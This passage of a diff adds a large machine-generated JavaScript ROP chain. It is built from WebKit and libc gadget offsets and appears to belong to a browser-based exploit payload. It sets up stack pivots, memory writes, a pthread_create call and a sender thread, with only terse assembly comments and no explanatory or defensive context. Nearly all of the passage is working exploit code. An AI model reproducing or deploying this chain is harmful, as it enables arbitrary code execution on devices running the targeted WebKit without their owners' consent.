+libc_base+232261, //movzx eax, al +libc_base+713278, //pop rsi +ropchain+209448, //L3370 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+209480, //L3372 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+209464, //L3371 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L3370: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3371: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3372: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+209624, //L3376 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+209640, //L3377 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+209608, //L3375 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L3374: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3375: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3376: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3377: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+11809960, //cmp rax, rsi ; sete al +libc_base+232261, //movzx eax, al +webkit_base+426067, //shl rax, 3 +libc_base+713278, //pop rsi +ropchain+209752, //L3378+8 +libc_base+507828, //add rax, rsi +libc_base+145226, //mov rax, [rax] +libc_base+713278, //pop rsi +ropchain+209744, //L3378 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+489696 //pop rsp +]); +//L3378: +db([0, 0]); // 0x0 +set_gadgets([ +ropchain+209768, //L3378+24 +ropchain+209784, //L3373 +libc_base+489696, //pop rsp +ropchain+212368, //L3379 +//L3373: +libc_base+713278, //pop rsi +ropchain+209840, //L3381 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3380: +db([4294967248, 4294967295]); // -0x30 +set_gadget(libc_base+772328,); //pop rcx +//L3381: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+209944, //L3384 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+209928, //L3383 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3383: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3384: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+210088, //L3388 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+210056, //L3386 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+210072, //L3387 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3386: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3387: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3388: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+210160, //L3389 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3389: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+210216, //L3391 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3391: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+210312, //L3394 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3393: +db([4294967240, 4294967295]); // -0x38 +set_gadget(libc_base+772328,); //pop rcx +//L3394: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+210416, //L3397 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+210400, //L3396 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3396: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3397: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+210576, //L3400 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+210608, //L3402 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+210560, //L3399 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+210592, //L3401 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3399: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3400: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3401: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3402: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+210720, //L3403 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+210752, //L3405 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+210736, //L3404 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3403: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3404: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3405: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+210840, //L3406 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3406: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+210896, //L3408 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3408: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+210984, //L3411 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3410: +db([4294967248, 4294967295]); // -0x30 +set_gadget(libc_base+772328,); //pop rcx +//L3411: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+2989859, //mov [rax], rcx +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3413: +db([4294967244, 4294967295]); // -0x34 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+211128, //L3416 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+211112, //L3415 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3415: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3416: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+211288, //L3419 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+211320, //L3421 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+211272, //L3418 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+211304, //L3420 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3418: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3419: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3420: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3421: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+211416, //L3423 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+211400, //L3422 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L3422: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3423: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+211512, //L3425 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3424: +db([4294967240, 4294967295]); // -0x38 +set_gadget(libc_base+772328,); //pop rcx +//L3425: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+211616, //L3428 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+211600, //L3427 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3427: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3428: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+211776, //L3431 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+211808, //L3433 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+211760, //L3430 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+211792, //L3432 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3430: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3431: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3432: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3433: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+211920, //L3434 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+211952, //L3436 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+211936, //L3435 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3434: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3435: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3436: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+844101, //sub rax, rcx ; sbb rdx, rcx +libc_base+713278, //pop rsi +ropchain+212096, //L3437 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+212128, //L3439 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+212112, //L3438 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L3437: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3438: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3439: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+212232, //L3441 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+212248, //L3442 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3440: +db([4294967244, 4294967295]); // -0x34 +set_gadget(libc_base+772328,); //pop rcx +//L3441: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3442: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+972324, //mov [rax], ecx +libc_base+713278, //pop rsi +ropchain+212312, //L3445 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3445: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+489696, //pop rsp +ropchain+212352, //L3444 +//L3304: +libc_base+489696, //pop rsp +ropchain+212368, //L3379 +//L3444: +libc_base+489696, //pop rsp +ropchain+206224, //L3289 +//L3379: +//L3168: +libc_base+768796 //pop rax +]); +//L3447: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796, //pop rax +//L3448: +ropchain+174016, //_sender_thread +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796 //pop rax +]); +//L3449: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+212568, //L3451 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L3450: +db([4294965192, 4294967295]); // -0x838 +set_gadget(libc_base+768796,); //pop rax +//L3451: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796, //pop rax +//L3453: +ropchain+212680, //L3452 +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+489696, //pop rsp +ropchain+148944, //_pthread_create__rop +//L3452: +libc_base+863109, //mov rax, rcx +libc_base+713278 //pop rsi +]); +db([4294967264, 4294967295]); // -0x20 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+212768, //L3455 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3454: +db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+772328,); //pop rcx +//L3455: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+212872, //L3458 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+212856, //L3457 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3457: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3458: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+213016, //L3462 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+212984, //L3460 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+213000, //L3461 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3460: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3461: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3462: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796, //pop rax +//L3464: +ropchain+213120, //L3463 +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+489696, //pop rsp +ropchain+216600, //L3465 +//L3463: +libc_base+863109, //mov rax, rcx +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+213224, //L3468 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L3466: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3467: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3468: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+213336, //L3469 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+213368, //L3471 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+213352, //L3470 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3469: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3470: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3471: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+213472, //L3472 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+213488, //L3473 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L3472: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3473: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+213608, //L3474 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+213592, //L3475 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L3475: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L3474: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+713278, //pop rsi +ropchain+213696, //L3477 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+213680, //L3476 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L3476: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3477: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+213800, //L3478 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+213816, //L3479 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L3478: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3479: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+213936, //L3480 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+213920, //L3481 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L3481: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L3480: +db([0, 0]); // 0x0 +//L3266: +set_gadget(libc_base+713278,); //pop rsi +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+608613, //pop rdx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+17972187, //pop r9 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+765305, //xor rax, rax +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+489696, //pop rsp +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967080, 4294967295]); // -0xd8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([200, 0]); // 0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967088, 4294967295]); // -0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([192, 0]); // 0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967096, 4294967295]); // -0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([184, 0]); // 0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967104, 4294967295]); // -0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([176, 0]); // 0xb0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967112, 4294967295]); // -0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([168, 0]); // 0xa8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+772328 //pop rcx +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +webkit_base+5236215, //and rax, rcx +libc_base+772328, //pop rcx +accept_addr, +webkit_base+2989859, //mov [rax], 